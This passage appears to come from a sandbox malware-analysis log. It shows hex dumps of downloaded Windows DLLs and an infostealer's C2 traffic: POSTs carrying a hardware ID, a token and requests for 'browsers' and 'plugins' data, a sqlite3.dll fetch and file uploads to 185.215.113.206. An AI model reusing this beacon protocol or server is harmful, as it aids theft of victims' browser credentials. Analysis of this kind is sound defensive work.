00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 14:27:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 14:27:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 14:27:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 14:27:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 41 36 43 37 44 32 44 36 42 35 32 37 33 30 30 35 37 33 32 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="hwid"9BA6C7D2D6B52730057325------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="build"tale------GDGIJECGDGCBKECAKFBG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"browsers------BGDAAKJJDAAKFHJKJKFC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDAAEHIEHIECBKJDGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="message"plugins------HIDHDAAEHIEHIECBKJDG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="message"fplugins------JJJDGIECFCAKKFHIIIJE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDBHost: 185.215.113.206Content-Length: 7559Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGHCBGDHJJKECAECBAHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCFCFCGCGIEHIECAFCFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 2d 2d 0d 0a Data Ascii: ------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="file"------GCFCFCGCGIEHIECAFCFI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHCHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCFBGDHJKFIEBFIECGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 